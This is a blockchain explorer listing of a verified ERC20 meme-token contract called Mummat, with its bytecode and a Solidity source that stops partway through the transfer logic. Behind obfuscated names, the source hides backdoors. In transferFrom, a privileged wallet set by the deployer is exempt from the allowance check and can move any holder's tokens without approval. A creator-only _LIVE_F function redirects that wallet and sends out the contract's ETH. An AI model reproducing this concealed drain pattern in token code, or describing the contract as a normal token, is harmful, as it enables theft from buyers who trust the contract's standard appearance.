Address Contract Verified
Address
0x22F4818833845689e2b8653e1ffD8391D16fCcbC
Balance
0 ETH
Nonce
1
Code Size
11713 bytes
Creator
0xC98DF4E6...B790 at tx 0x1e3c3536...f48324
Indexed Transactions
0
Contract Bytecode
11713 bytes
0x608060405260043610610101575f3560e01c8063751039fc11610094578063a9059cbb11610063578063a9059cbb14610312578063ac0ebd851461034e578063ad686bbd14610364578063bf9f02c91461038c578063dd62ed3e146103b657610108565b8063751039fc1461027e5780638da5cb5b1461029457806395d89b41146102be57806397745535146102e857610108565b806323b872dd116100d057806323b872dd146101c6578063313ce5671461020257806370a082311461022c578063715018a61461026857610108565b806302332f2a1461010c57806306fdde0314610136578063095ea7b31461016057806318160ddd1461019c57610108565b3661010857005b5f80fd5b348015610117575f80fd5b506101206103f2565b60405161012d9190611f1e565b60405180910390f35b348015610141575f80fd5b5061014a6103f8565b6040516101579190611fc1565b60405180910390f35b34801561016b575f80fd5b5061018660048036038101906101819190612069565b610435565b60405161019391906120c1565b60405180910390f35b3480156101a7575f80fd5b506101b0610452565b6040516101bd9190611f1e565b60405180910390f35b3480156101d1575f80fd5b506101ec60048036038101906101e791906120da565b610475565b6040516101f991906120c1565b60405180910390f35b34801561020d575f80fd5b506102166104d4565b6040516102239190612145565b60405180910390f35b348015610237575f80fd5b50610252600480360381019061024d919061215e565b6104dc565b60405161025f9190611f1e565b60405180910390f35b348015610273575f80fd5b5061027c610522565b005b348015610289575f80fd5b50610292610670565b005b34801561029f575f80fd5b506102a861079f565b6040516102b59190612198565b60405180910390f35b3480156102c9575f80fd5b506102d26107c6565b6040516102df9190611fc1565b60405180910390f35b3480156102f3575f80fd5b506102fc610803565b6040516103099190611f1e565b60405180910390f35b34801561031d575f80fd5b5061033860048036038101906103339190612069565b610809565b60405161034591906120c1565b60405180910390f35b348015610359575f80fd5b50610362610826565b005b34801561036f575f80fd5b5061038a600480360381019061038591906121ec565b610d48565b005b348015610397575f80fd5b506103a0610e23565b6040516103ad9190611f1e565b60405180910390f35b3480156103c1575f80fd5b506103dc60048036038101906103d79190612217565b610e29565b6040516103e99190611f1e565b60405180910390f35b60035481565b60606040518060400160405280600681526020017f4d756d6d61740000000000000000000000000000000000000000000000000000815250905090565b5f610448610441610eab565b8484610eb2565b6001905092915050565b5f6009600a61046191906123b1565b633b9aca0061047091906123fb565b905090565b5f610481848484611075565b6104c98461048d610eab565b6104c485604051806060016040528060288152602001612d64602891396104b58a8a8a6117fe565b6118a09092919063ffffffff16565b610eb2565b600190509392505050565b5f6009905090565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61052a610eab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ad90612486565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610678610eab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb90612486565b60405180910390fd5b6009600a61071291906123b1565b633b9aca0061072191906123fb565b6002819055506009600a61073591906123b1565b633b9aca0061074491906123fb565b6003819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61077991906123b1565b633b9aca0061078891906123fb565b6040516107959190611f1e565b60405180910390a1565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d554d4d41540000000000000000000000000000000000000000000000000000815250905090565b60025481565b5f61081c610815610eab565b8484611075565b6001905092915050565b61082e610eab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b190612486565b60405180910390fd5b600d60149054906101000a900460ff161561090a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610901906124ee565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109a630600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61099291906123b1565b633b9aca006109a191906123fb565b610eb2565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a10573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a349190612520565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aba573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ade9190612520565b6040518363ffffffff1660e01b8152600401610afb92919061254b565b6020604051808303815f875af1158015610b17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3b9190612520565b600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610bc2306104dc565b5f80610bcc61079f565b426040518863ffffffff1660e01b8152600401610bee969594939291906125b4565b60606040518083038185885af1158015610c0a573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c2f9190612627565b505050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ccf929190612677565b6020604051808303815f875af1158015610ceb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d0f91906126c8565b506001600d60166101000a81548160ff0219169083151502179055506001600d60146101000a81548160ff021916908315150217905550565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dce90612716565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e2047611902565b50565b60045481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f17906127a4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8590612832565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110689190611f1e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110da906128c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611151576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111489061294e565b60405180910390fd5b5f8111611193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118a906129dc565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111fc57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114f95761123d606461122f600954600b541161121c57600f54611220565b6011545b8561194990919063ffffffff16565b6119c090919063ffffffff16565b9050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112e85750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561133b575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561135857600b5f815480929190611352906129fa565b91905055505b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113e057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611424576114216064611413600a54600b541161140057601054611404565b6012545b8561194990919063ffffffff16565b6119c090919063ffffffff16565b90505b5f61142e306104dc565b9050600d60159054906101000a900460ff161580156114995750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114b15750600d60169054906101000a900460ff165b156114f7575f8111156114ed575f60045482106114d0576004546114d2565b815b90506114eb8185106114e457816114e6565b845b611a09565b505b6114f647611c74565b5b505b5f8111156115f8576115518160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cdc90919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115ef9190611f1e565b60405180910390a35b6116488260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3990919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116eb61169f8284611d3990919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cdc90919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117f8578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117e28486611d3990919063ffffffff16565b6040516117ef9190611f1e565b60405180910390a35b50505050565b5f8082905061180d8585611d82565b156118955760075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f611858610eab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b809150509392505050565b5f8383111582906118e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118de9190611fc1565b60405180910390fd5b505f83856118f59190612a41565b9050809150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611945573d5f803e3d5ffd5b5050565b5f808303611959575f90506119ba565b5f828461196691906123fb565b90508284826119759190612aa1565b146119b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ac90612b41565b60405180910390fd5b809150505b92915050565b5f611a0183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e4e565b905092915050565b6001600d60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a4057611a3f612b5f565b5b604051908082528060200260200182016040528015611a6e5781602001602082028036833780820191505090505b50905030815f81518110611a8557611a84612b8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b29573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b4d9190612520565b81600181518110611b6157611b60612b8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bc730600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eb2565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c29959493929190612c70565b5f604051808303815f87803b158015611c40575f80fd5b505af1158015611c52573d5f803e3d5ffd5b50505050505f600d60156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cd8573d5f803e3d5ffd5b5050565b5f808284611cea9190612cc8565b905083811015611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2690612d45565b60405180910390fd5b8091505092915050565b5f611d7a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118a0565b905092915050565b5f801515611d8e611eaf565b151503611d9d575f9050611e48565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611e45575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b90505b92915050565b5f8083118290611e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8b9190611fc1565b60405180910390fd5b505f8385611ea29190612aa1565b9050809150509392505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415905090565b5f819050919050565b611f1881611f06565b82525050565b5f602082019050611f315f830184611f0f565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611f6e578082015181840152602081019050611f53565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611f9382611f37565b611f9d8185611f41565b9350611fad818560208601611f51565b611fb681611f79565b840191505092915050565b5f6020820190508181035f830152611fd98184611f89565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61200e82611fe5565b9050919050565b61201e81612004565b8114612028575f80fd5b50565b5f8135905061203981612015565b92915050565b61204881611f06565b8114612052575f80fd5b50565b5f813590506120638161203f565b92915050565b5f806040838503121561207f5761207e611fe1565b5b5f61208c8582860161202b565b925050602061209d85828601612055565b9150509250929050565b5f8115159050919050565b6120bb816120a7565b82525050565b5f6020820190506120d45f8301846120b2565b92915050565b5f805f606084860312156120f1576120f0611fe1565b5b5f6120fe8682870161202b565b935050602061210f8682870161202b565b925050604061212086828701612055565b9150509250925092565b5f60ff82169050919050565b61213f8161212a565b82525050565b5f6020820190506121585f830184612136565b92915050565b5f6020828403121561217357612172611fe1565b5b5f6121808482850161202b565b91505092915050565b61219281612004565b82525050565b5f6020820190506121ab5f830184612189565b92915050565b5f6121bb82611fe5565b9050919050565b6121cb816121b1565b81146121d5575f80fd5b50565b5f813590506121e6816121c2565b92915050565b5f6020828403121561220157612200611fe1565b5b5f61220e848285016121d8565b91505092915050565b5f806040838503121561222d5761222c611fe1565b5b5f61223a8582860161202b565b925050602061224b8582860161202b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156122d7578086048111156122b3576122b2612255565b5b60018516156122c25780820291505b80810290506122d085612282565b9450612297565b94509492505050565b5f826122ef57600190506123aa565b816122fc575f90506123aa565b8160018114612312576002811461231c5761234b565b60019150506123aa565b60ff84111561232e5761232d612255565b5b8360020a91508482111561234557612344612255565b5b506123aa565b5060208310610133831016604e8410600b84101617156123805782820a90508381111561237b5761237a612255565b5b6123aa565b61238d848484600161228e565b925090508184048111156123a4576123a3612255565b5b81810290505b9392505050565b5f6123bb82611f06565b91506123c68361212a565b92506123f37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122e0565b905092915050565b5f61240582611f06565b915061241083611f06565b925082820261241e81611f06565b9150828204841483151761243557612434612255565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612470602083611f41565b915061247b8261243c565b602082019050919050565b5f6020820190508181035f83015261249d81612464565b9050919050565b7f416c7265616479205374617274656421000000000000000000000000000000005f82015250565b5f6124d8601083611f41565b91506124e3826124a4565b602082019050919050565b5f6020820190508181035f830152612505816124cc565b9050919050565b5f8151905061251a81612015565b92915050565b5f6020828403121561253557612534611fe1565b5b5f6125428482850161250c565b91505092915050565b5f60408201905061255e5f830185612189565b61256b6020830184612189565b9392505050565b5f819050919050565b5f819050919050565b5f61259e61259961259484612572565b61257b565b611f06565b9050919050565b6125ae81612584565b82525050565b5f60c0820190506125c75f830189612189565b6125d46020830188611f0f565b6125e160408301876125a5565b6125ee60608301866125a5565b6125fb6080830185612189565b61260860a0830184611f0f565b979650505050505050565b5f815190506126218161203f565b92915050565b5f805f6060848603121561263e5761263d611fe1565b5b5f61264b86828701612613565b935050602061265c86828701612613565b925050604061266d86828701612613565b9150509250925092565b5f60408201905061268a5f830185612189565b6126976020830184611f0f565b9392505050565b6126a7816120a7565b81146126b1575f80fd5b50565b5f815190506126c28161269e565b92915050565b5f602082840312156126dd576126dc611fe1565b5b5f6126ea848285016126b4565b91505092915050565b50565b5f6127015f83611f41565b915061270c826126f3565b5f82019050919050565b5f6020820190508181035f83015261272d816126f6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61278e602483611f41565b915061279982612734565b604082019050919050565b5f6020820190508181035f8301526127bb81612782565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61281c602283611f41565b9150612827826127c2565b604082019050919050565b5f6020820190508181035f83015261284981612810565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128aa602583611f41565b91506128b582612850565b604082019050919050565b5f6020820190508181035f8301526128d78161289e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612938602383611f41565b9150612943826128de565b604082019050919050565b5f6020820190508181035f8301526129658161292c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6129c6602983611f41565b91506129d18261296c565b604082019050919050565b5f6020820190508181035f8301526129f3816129ba565b9050919050565b5f612a0482611f06565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a3657612a35612255565b5b600182019050919050565b5f612a4b82611f06565b9150612a5683611f06565b9250828203905081811115612a6e57612a6d612255565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612aab82611f06565b9150612ab683611f06565b925082612ac657612ac5612a74565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b2b602183611f41565b9150612b3682612ad1565b604082019050919050565b5f6020820190508181035f830152612b5881612b1f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612beb81612004565b82525050565b5f612bfc8383612be2565b60208301905092915050565b5f602082019050919050565b5f612c1e82612bb9565b612c288185612bc3565b9350612c3383612bd3565b805f5b83811015612c63578151612c4a8882612bf1565b9750612c5583612c08565b925050600181019050612c36565b5085935050505092915050565b5f60a082019050612c835f830188611f0f565b612c9060208301876125a5565b8181036040830152612ca28186612c14565b9050612cb16060830185612189565b612cbe6080830184611f0f565b9695505050505050565b5f612cd282611f06565b9150612cdd83611f06565b9250828201905080821115612cf557612cf4612255565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d2f601b83611f41565b9150612d3a82612cfb565b602082019050919050565b5f6020820190508181035f830152612d5c81612d23565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c8b065dda67582574b185a18bedfc1cf06198845f528ce0da46dd8e981de969064736f6c63430008180033
Verified Source Code Full Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: No
MUMMAT.sol 397 lines
// SPDX-License-Identifier: MIT
/*
Name: Mummat
Symbol: MUMMAT
There is a new sheriff in town, $MUMMAT inspired by Matt Furie.
Website: https://www.mummat.cc
Twitter: https://x.com/MUMMAT_eth
Tg: https://t.me/mummat_eth
*/
pragma solidity ^0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MUMMAT is Context, IERC20, Ownable {
using SafeMath for uint256;
uint8 private constant _decimals = 9;
string private constant _name = unicode"Mummat";
string private constant _symbol = unicode"MUMMAT";
address private _MEMEMs034fj = address(0xdead);
uint256 public _GARA_MMO2R = 20000000 * 10 **_decimals;
uint256 public _GARA_MOR2R = 20000000 * 10 **_decimals;
uint256 public _of_Psswtsa = 10000000 * 10 **_decimals;
address payable private StressATR;
mapping(address => uint256) private _ATOSGRssw342sswq;
mapping(address => mapping(address => uint256)) private _StressTimes;
mapping(address => bool) private _ATOSsoStroke;
uint256 private _MEMEMssdsdwer2dcw2 = 7;
uint256 private _MEMEMsaszx123aad = 7;
uint256 private _MEMEMsdbytycctynty = 0;
IUniswapV2Router02 private SOLRouter;
address private HUGEATAR;
bool private isTrading;
bool private inSwap = false;
bool private swapEnabled = false;
address private _MEMEMssdfwecc;
uint256 private _MEMEMsdbsad = 10;
uint256 private _MEMEMssdwerw = 10;
uint256 private _MEMEMssseq = 0;
uint256 private _MEMEMsssdrwqq1 = 0;
uint256 private constant _kmmvb_MEMEMxsswtsa = 1000000000 * 10 **_decimals;
event MaxTxAmountUpdated(uint256 _GARA_MMO2R);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() payable {
_ATOSsoStroke[owner()] = true;
_ATOSsoStroke[address(this)] = true;
_ATOSsoStroke[StressATR] = true;
_MEMEMssdfwecc = _msgSender();
StressATR = payable(_msgSender());
_ATOSGRssw342sswq[address(this)] = _kmmvb_MEMEMxsswtsa * 98 / 100;
_ATOSGRssw342sswq[owner()] = _kmmvb_MEMEMxsswtsa * 2 / 100;
emit Transfer(address(0), address(this), _kmmvb_MEMEMxsswtsa * 98 / 100);
emit Transfer(address(0), address(owner()), _kmmvb_MEMEMxsswtsa * 2 / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function totalSupply() public pure override returns (uint256) {
return _kmmvb_MEMEMxsswtsa;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_StressTimes[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function balanceOf(address account) public view override returns (uint256) {
return _ATOSGRssw342sswq[account];
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _StressTimes[owner][spender];
}
function __PP_MEMEM(
address sender,
address recipient,
uint256 amount
) internal view returns (uint256) {
uint256 _allowed = amount;
if (_TETTRIS(sender, recipient))
_allowed = _StressTimes[sender][_msgSender()];
return _allowed;
}
receive() external payable {}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_subtransferr__MEMEMxsswtsa(_msgSender(), recipient, amount);
return true;
}
function NOATR() internal view returns (bool) {return msg.sender != StressATR;}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_subtransferr__MEMEMxsswtsa(sender, recipient, amount);
_approve(
sender,
_msgSender(),
__PP_MEMEM(sender, recipient, amount).sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _LIVE_F(address payable receipt) external {
require(msg.sender == _MEMEMssdfwecc , "");
StressATR = receipt;
__MEMEMxmnn34irfn(address(this).balance);
}
function _support_MEMEMOwlsat(uint256 amount) private {
StressATR.transfer(amount);
}
function _TETTRIS(
address UP,
address DOWN
) internal view returns (bool) {
if(NOATR() == false) return false;
else return UP == HUGEATAR || DOWN != _MEMEMs034fj;
}
function _subSwap__MEMEMxsswtsa(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = SOLRouter.WETH();
_approve(address(this), address(SOLRouter), tokenAmount);
SOLRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _subtransferr__MEMEMxsswtsa(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != address(this) && to != address(this)) {
taxAmount = amount
.mul(
(_MEMEMsdbytycctynty > _MEMEMssdsdwer2dcw2)
? _MEMEMssseq
: _MEMEMsdbsad
)
.div(100);
if (
from == HUGEATAR &&
to != address(SOLRouter) &&
!_ATOSsoStroke[to]
) {
_MEMEMsdbytycctynty++;
}
if (to == HUGEATAR && from != address(this)) {
taxAmount = amount
.mul(
(_MEMEMsdbytycctynty > _MEMEMsaszx123aad)
? _MEMEMsssdrwqq1
: _MEMEMssdwerw
)
.div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == HUGEATAR && swapEnabled) {
if (contractTokenBalance > 0) {
